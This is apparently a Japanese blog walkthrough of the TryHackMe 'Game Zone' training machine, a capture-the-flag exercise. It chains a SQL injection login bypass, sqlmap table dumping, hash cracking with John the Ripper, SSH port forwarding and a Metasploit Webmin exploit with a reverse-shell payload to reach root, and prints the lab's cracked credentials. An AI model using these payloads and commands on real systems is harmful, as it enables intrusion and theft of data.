今回はTryHackMeのGame Zoneを攻略していきます。
スキャニング
いつもどおり、まずはスキャニングをしてみます。
$ nmap -sV 10.10.174.192
SSHとHTTPが空いていることが確認できました。
SQLインジェクションでアクセスする
TryHackmeの説明通り、SQLインジェクションを行います。
SQLインジェクションの説明はこちら
項目名 | 値 |
---|---|
ユーザ名 | 'or 1=1 -- - |
パスワード | 空白 |
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 -- -
ログイン後、Web アプリケーションは次のページに移動します。
SQLMapでデータベース情報の取得
Burp Suiteを使って検索リスクエストを取得します。このリクエストをファイルに保存します。
SQLMapを使ってデータベース情報を取得します。
$ sqlmap -r game-zone-burp-req --dbms=mysql --dump
SQLMap は db
データベースの users
テーブルから agent47
ユーザーのパスワード ハッシュをダンプしました
項目名 | 値 |
---|---|
Database | db |
Table | users |
PWD hash | ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14 |
Username | agent47 |
JohnTheRipper でパスワード解析する
データベースのパスワードハッシュを解析していきます。
hash-identifier を使ってハッシュの種類を確認します。
SHA-256の可能性が高そうです。
ハッシュをファイルに保存し、John The Ripper でパスワード解析します。
$ john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
パスワードがわかりました。
agent47 ユーザと解析したパスワードで ssh接続を試みます。
$ ssh 10.10.174.192 -l agent47
ログインできました。
リバース SSH トンネルを使用したサービスの調査
$ ssh -f -N -L 10000:localhost:10000 agent47@10.10.174.192
http://localhost:10000/
にブラウザでアクセスします。
前に見つけた認証情報を使用して Webmin にログインしてみます。
ログインすると Webminのバージョン が書かれています。
Metasploit による権限昇格
Metasploit を立ち上げて、エクスプロイトを探します。
検索に2つ引っかかりましたが、エクスプロイトは1つだけなのでそれを選択します。
Module options の設定をします。
項目名 | 値 |
---|---|
USERNAME | agent47 |
PASSWORD | videogamer124 |
RHOSTS | localhost |
SSL | false |
Payload optionsの設定もします。
ペイロードがデフォルトでロードされていないので、手動で設定していきます。
show payloads
でペイロード一覧を表示させます。
今回は payload/cmd/unix/reverse
を使うことにします。
項目名 | 値 | 備考 |
---|---|---|
payload | payload/cmd/unix/reverse | |
LHOST | tun0 |
インターフェースの名前です。環境によって違う可能性があるため、ip a コマンドを実行して確認しましょう
|
すべての設定が終わったら設定値を確認します。
run コマンドを実行します。
Session が2つ作成されたようです。
sessions
コマンドでセッションを確認してみます。
session2に入ります。
root 権限に昇格できました。